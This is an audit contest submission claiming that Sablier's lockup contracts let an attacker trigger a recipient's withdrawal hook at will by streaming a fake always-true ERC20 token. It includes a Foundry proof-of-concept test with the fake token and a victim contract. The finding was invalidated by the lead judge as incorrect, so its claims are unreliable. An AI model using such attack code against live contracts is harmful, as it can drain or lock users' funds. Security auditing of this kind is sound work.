Sablier
Sablier
DeFiFoundry
53,440 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

A malicious user can call a victim hook at will

samuraii77

Summary

A malicious user can call the victim's hook/callback onLockupStreamWithdrawn and many of the other hook/callbacks as many times as he wants with an arbitrary amount parameter of his liking. This creates a ton of possible issues depending on the functionality the victim's hook function implementation. Possible issues for the user would be loss of funds, locked funds, wrong accounting and many others.

Vulnerability Details

Any user can create a stream for any recipient using either createWithDurations() or createWithTimestamps(). There are a few different streams that a user could create but they are not important for this vulnerability, we will choose a typical linear stream. We will also just cover the onLockupStreamWithdrawn hook being called in this particular example. The functions mentioned above both call _create():

function _create(LockupLinear.CreateWithTimestamps memory params) internal returns (uint256 streamId) {
// Check: verify the broker fee and calculate the amounts.
Lockup.CreateAmounts memory createAmounts =
Helpers.checkAndCalculateBrokerFee(params.totalAmount, params.broker.fee, MAX_BROKER_FEE);
​
​
// Check: validate the user-provided parameters.
Helpers.checkCreateLockupLinear(createAmounts.deposit, params.timestamps);
​
​
// Load the stream ID.
streamId = nextStreamId;
​
​
// Effect: create the stream.
_streams[streamId] = Lockup.Stream({
amounts: Lockup.Amounts({ deposited: createAmounts.deposit, refunded: 0, withdrawn: 0 }),
asset: params.asset,
endTime: params.timestamps.end,
isCancelable: params.cancelable,
isDepleted: false,
isStream: true,
isTransferable: params.transferable,
sender: params.sender,
startTime: params.timestamps.start,
wasCanceled: false
});
​
​
// Effect: set the cliff time if it is greater than zero.
if (params.timestamps.cliff > 0) {
_cliffs[streamId] = params.timestamps.cliff;
}
​
​
// Effect: bump the next stream ID.
// Using unchecked arithmetic because these calculations cannot realistically overflow, ever.
unchecked {
nextStreamId = streamId + 1;
}
​
​
// Effect: mint the NFT to the recipient.
_mint({ to: params.recipient, tokenId: streamId });
​
​
// Interaction: transfer the deposit amount.
params.asset.safeTransferFrom({ from: msg.sender, to: address(this), value: createAmounts.deposit });
​
​
// Interaction: pay the broker fee, if not zero.
if (createAmounts.brokerFee > 0) {
params.asset.safeTransferFrom({ from: msg.sender, to: params.broker.account, value: createAmounts.brokerFee });
}
​
​
// Log the newly created stream.
emit ISablierV2LockupLinear.CreateLockupLinearStream({
streamId: streamId,
funder: msg.sender,
sender: params.sender,
recipient: params.recipient,
amounts: createAmounts,
asset: params.asset,
cancelable: params.cancelable,
transferable: params.transferable,
timestamps: params.timestamps,
broker: params.broker.account
});
}

This is how the stream gets created. The root cause of the issue is the fact that any asset can be streamed to the user.
Imagine the following scenario:

  1. A malicious user creates a contract implementing transfer and transferFrom functions that have no logic but just return true

  2. He creates a stream using that contract as asset to a victim who is a contract implementing the callback/hook functionalities

  3. He can choose any amount of his liking as it will not be transferred out as there is not an actual transfer functionality for the asset/contract

  4. Some funds get unlocked/streamed (all funds could get unlocked even in the first second as the protocol allows for such functionality)

  5. Malicious user calls withdraw() for the victim's stream

function withdraw(
uint256 streamId,
address to,
uint128 amount
)
public
override
noDelegateCall
notNull(streamId)
updateMetadata(streamId)
{
// Check: the stream is not depleted.
if (_streams[streamId].isDepleted) {
revert Errors.SablierV2Lockup_StreamDepleted(streamId);
}
​
​
// Check: the withdrawal address is not zero.
if (to == address(0)) {
revert Errors.SablierV2Lockup_WithdrawToZeroAddress(streamId);
}
​
​
// Check: the withdraw amount is not zero.
if (amount == 0) {
revert Errors.SablierV2Lockup_WithdrawAmountZero(streamId);
}
​
​
// Retrieve the recipient from storage.
address recipient = _ownerOf(streamId);
​
​
// Check: if `msg.sender` is neither the stream's recipient nor an approved third party, the withdrawal address
// must be the recipient.
if (to != recipient && !_isCallerStreamRecipientOrApproved(streamId)) {
revert Errors.SablierV2Lockup_WithdrawalAddressNotRecipient(streamId, msg.sender, to);
}
​
​
// Check: the withdraw amount is not greater than the withdrawable amount.
uint128 withdrawableAmount = _withdrawableAmountOf(streamId);
if (amount > withdrawableAmount) {
revert Errors.SablierV2Lockup_Overdraw(streamId, amount, withdrawableAmount);
}
​
​
// Retrieve the sender from storage.
address sender = _streams[streamId].sender;
​
​
// Effects and Interactions: make the withdrawal.
_withdraw(streamId, to, amount);
​
​
// Interaction: if `msg.sender` is not the recipient and the recipient is a contract, try to invoke the
// withdraw hook on it without reverting if the hook is not implemented, and also without bubbling up
// any potential revert.
if (msg.sender != recipient && recipient.code.length > 0) {
try ISablierV2Recipient(recipient).onLockupStreamWithdrawn({
streamId: streamId,
caller: msg.sender,
to: to,
amount: amount
}) { } catch { }
}
​
​
// Interaction: if `msg.sender` is not the sender, the sender is a contract and is different from the
// recipient, try to invoke the withdraw hook on it without reverting if the hook is not implemented, and also
// without bubbling up any potential revert.
if (msg.sender != sender && sender.code.length > 0 && sender != recipient) {
try ISablierV2Sender(sender).onLockupStreamWithdrawn({
streamId: streamId,
caller: msg.sender,
to: to,
amount: amount
}) { } catch { }
}
}

  1. There are some checks which successfully pass and then _withdraw() gets called

  2. There, safeTransfer() gets called which just calls transfer() on the attacker's asset contract which just returns true

  3. Then, we get back to the main withdraw() function and we see this piece of code:

if (msg.sender != recipient && recipient.code.length > 0) {
try ISablierV2Recipient(recipient).onLockupStreamWithdrawn({
streamId: streamId,
caller: msg.sender,
to: to,
amount: amount
}) { } catch { }
}

msg.sender is the attacker, recipient is the victim so they are not equal, recipient.code.length is greater than 0 as that is a contract and then the recipient contract gets called with any amount as the attacker can create a stream for any amount, allow it to unlock immediately and withdraw immediately for any amount. This can be done again and again for no cost except gas fees. This creates a lot of issues as the victim expects this function to be called only when receiving tokens upon him or someone else withdrawing but here, his callback/hook can get called over and over again with an arbitrary amount creating a lot of possible issues for him such as locked funds or loss of funds depending on his exact hook implementation. While not every hook implementation will be detrimental to the victim, there are surely users that have an implementation that can be attacked and cause huge issues and losses for the victim.

Paste the following POC function into v2-core/test/integration/concrete/lockup-linear/create-with-timestamps/createWithTimestamps.t.sol:

function testCanCallRecipientHookAtWillWithArbitraryAmount() public {
address attacker = makeAddr('attacker'); // Attacker
​
VictimContract victimContract = new VictimContract(address(dai), address(lockupLinear)); // Set up victim contract holding his hooks/callbacks (give some constructor parameters for ease of the POC)
address victim = address(victimContract);
deal(address(dai), victim, 20e18);
​
FakeERC20 fakeToken = new FakeERC20(); // Deploy the fake malicious token
​
LockupLinear.Timestamps memory timestamps = LockupLinear.Timestamps({start: 10, cliff: 20, end: uint40(block.timestamp + 1)}); // Craft timestamps
Broker memory broker;
​
LockupLinear.CreateWithTimestamps memory params = LockupLinear.CreateWithTimestamps( // Craft stream parameters
attacker,
victim,
10000000e18,
IERC20(address(fakeToken)),
true,
false,
timestamps,
broker
);
​
vm.startPrank(attacker);
uint256 streamId = lockupLinear.createWithTimestamps(params); // Attacker creates the stream
vm.stopPrank();
​
LockupLinear.StreamLL memory stream = lockupLinear.getStream(streamId);
​
assertEq(lockupLinear.ownerOf(streamId), victim); // Owner of the stream NFT is the victim
assertEq(stream.amounts.deposited, 10000000e18); // Stream has 10000000e18 of the fake tokens deposited
​
uint256 withdrawAmount = 10e18; // Withdraw amount
​
vm.warp(block.timestamp + 1);
​
vm.startPrank(attacker);
lockupLinear.withdraw(streamId, victim, uint128(withdrawAmount)); // Attacker calls withdraw
vm.stopPrank();
​
assertEq(dai.balanceOf(attacker), withdrawAmount); // The hook successfully got called with an arbitrary amount
​
vm.startPrank(attacker);
vm.expectRevert("not lockupLinear"); // Reverts as attacker is not lockupLinear
victim.call(abi.encodeWithSignature("onLockupStreamWithdrawn(uint256,address, address,uint128)"));
vm.stopPrank();
}

Also, add these 2 contracts in the same file:

contract FakeERC20 {
// Malicious contract just returning true on transfer functions
function transferFrom(address from, address to, uint256 value) external pure returns (bool) {
return true;
}
​
function transfer(address to, uint256 value) external returns (bool) {
return true;
}
}
​
contract VictimContract {
address dai;
address lockupLinear;
​
constructor(address _dai, address _lockupLinear) {
dai = _dai;
lockupLinear = _lockupLinear;
}
​
modifier onlyLockupLinear { // Modifier allowing only the lockupLinear contract to call the hook/callback
require(msg.sender == lockupLinear, "not lockupLinear");
​
_;
}
​
function onLockupStreamWithdrawn(uint256 streamId, address caller, address to, uint128 amount) external onlyLockupLinear {
IERC20(dai).transfer(caller, amount); // A very simple and obviously unrealistic example with the only goal to show that this vulnerability is possible
}
}

The hook/callback implemented is a simple and obviously unrealistic example with the only goal of showing that the vulnerability is possible. There are many possible hook implementations that could cause issues such as let's say totalReceived variable that gets incremented upon successful withdraws that can get up to its maximum value and then, any withdraws will revert as they will overflow that variable (a simple example, there are many other possible hook/callback implementations that a user might have that an attacker can target and benefit from). This is especially dangerous because of all the different protocols integrating Sablier.

Impact

A malicious user can call the victim's hook/callback onLockupStreamWithdrawn as many times as he wants with an arbitrary amount parameter of his liking. This creates a ton of possible issues depending on the functionality the victim's hook function implementation. Possible issues would be loss of funds, locked funds, wrong accounting and many others. That same attack path is also possible for the sender of the stream as that can be an arbitrary address set by the creator of the stream, a malicious attacker can create a stream and put a victim as the sender parameter and then call his callback/hook function the exact same way.

Tools Used

Manual Review

Recommendations

The exact fix is not clear, a whitelist of tokens would definitely solve the issue however it might not be according to the protocol's ideas.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.